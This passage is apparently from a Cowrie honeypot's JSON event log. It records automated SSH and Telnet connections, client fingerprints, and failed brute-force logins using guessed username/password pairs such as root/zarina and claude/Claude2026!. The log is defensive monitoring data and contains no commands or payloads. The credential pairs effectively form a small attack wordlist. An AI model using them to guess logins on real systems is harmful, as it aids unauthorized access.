istp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:52.359977Z","src_ip":"38.93.206.2","session":"4f625b5a7461","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zarina","message":"login attempt [root/zarina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:52.514105Z","src_ip":"38.93.206.2","session":"4f625b5a7461","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:53.568591Z","src_ip":"38.93.206.2","session":"4f625b5a7461","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53852,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e8f957fe94c","protocol":"ssh","message":"New connection: 103.153.68.219:53852 (10.17.0.5:22) [session: 9e8f957fe94c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:59.160949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:59.165574Z","src_ip":"103.153.68.219","session":"9e8f957fe94c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:59.415306Z","src_ip":"103.153.68.219","session":"9e8f957fe94c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12344321q","message":"login attempt [root/12344321q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:38:00.163866Z","src_ip":"103.153.68.219","session":"9e8f957fe94c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:38:01.416832Z","src_ip":"103.153.68.219","session":"9e8f957fe94c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.115.208.154","src_port":42340,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf1daad89320","protocol":"ssh","message":"New connection: 181.115.208.154:42340 (159.203.135.109:22) [session: bf1daad89320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:38:44.069790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:38:44.074657Z","src_ip":"181.115.208.154","session":"bf1daad89320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:38:44.235987Z","src_ip":"181.115.208.154","session":"bf1daad89320","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"Claude2026!","message":"login attempt [claude/Claude2026!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:38:44.890128Z","src_ip":"181.115.208.154","session":"bf1daad89320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:38:46.050109Z","src_ip":"181.115.208.154","session":"bf1daad89320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":34168,"dst_ip":"159.203.135.109","dst_port":22,"session":"17d24920878f","protocol":"ssh","message":"New connection: 51.250.105.222:34168 (159.203.135.109:22) [session: 17d24920878f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:38:54.158052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:38:54.163082Z","src_ip":"51.250.105.222","session":"17d24920878f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:38:54.288537Z","src_ip":"51.250.105.222","session":"17d24920878f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"556677","message":"login attempt [root/556677] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:38:54.666477Z","src_ip":"51.250.105.222","session":"17d24920878f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:38:55.794889Z","src_ip":"51.250.105.222","session":"17d24920878f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":38652,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f41cbeefb7e","protocol":"ssh","message":"New connection: 103.98.149.87:38652 (10.17.0.5:22) [session: 2f41cbeefb7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:39:17.306534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:39:17.405075Z","src_ip":"103.98.149.87","session":"2f41cbeefb7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:39:17.579166Z","src_ip":"103.98.149.87","session":"2f41cbeefb7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"321654987","message":"login attempt [root/321654987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:39:18.723659Z","src_ip":"103.98.149.87","session":"2f41cbeefb7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:39:19.950205Z","src_ip":"103.98.149.87","session":"2f41cbeefb7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":60802,"dst_ip":"10.17.0.5","dst_port":22,"session":"52508d0ee2ee","protocol":"ssh","message":"New connection: 94.159.110.201:60802 (10.17.0.5:22) [session: 52508d0ee2ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:39:54.397816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:39:54.403119Z","src_ip":"94.159.110.201","session":"52508d0ee2ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:39:54.528452Z","src_ip":"94.159.110.201","session":"52508d0ee2ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789m","message":"login attempt [root/123456789m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:39:54.905494Z","src_ip":"94.159.110.201","session":"52508d0ee2ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:39:56.034413Z","src_ip":"94.159.110.201","session":"52508d0ee2ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":54660,"dst_ip":"159.203.135.109","dst_port":22,"session":"520d96819596","protocol":"ssh","message":"New connection: 109.172.54.111:54660 (159.203.135.109:22) [session: 520d96819596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:40:07.373280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:40:07.382672Z","src_ip":"109.172.54.111","session":"520d96819596","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:40:07.594351Z","src_ip":"109.172.54.111","session":"520d96819596","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321z","message":"login attempt [root/123321z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:40:08.070182Z","src_ip":"109.172.54.111","session":"520d96819596","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:40:09.174445Z","src_ip":"109.172.54.111","session":"520d96819596","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":40888,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5100714a115","protocol":"ssh","message":"New connection: 80.94.92.184:40888 (10.17.0.5:22) [session: c5100714a115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:40:45.584506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:40:45.699147Z","src_ip":"80.94.92.184","session":"c5100714a115","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:40:45.703065Z","src_ip":"80.94.92.184","session":"c5100714a115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:40:47.155321Z","src_ip":"80.94.92.184","session":"c5100714a115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:40:48.264007Z","src_ip":"80.94.92.184","session":"c5100714a115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36946,"dst_ip":"10.17.0.5","dst_port":23,"session":"46802b347531","protocol":"telnet","message":"New connection: 152.42.224.71:36946 (10.17.0.5:23) [session: 46802b347531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:42:48.989883Z"}
{"eventid":"cowrie.session.closed","duration":19.73564338684082,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:08.725399Z","src_ip":"152.42.224.71","session":"46802b347531","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":21220,"dst_ip":"10.17.0.5","dst_port":22,"session":"2848c14eadb5","protocol":"ssh","message":"New connection: 87.251.64.176:21220 (10.17.0.5:22) [session: 2848c14eadb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:11.954963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:11.999173Z","src_ip":"87.251.64.176","session":"2848c14eadb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:12.054096Z","src_ip":"87.251.64.176","session":"2848c14eadb5","protocol":"ssh"}
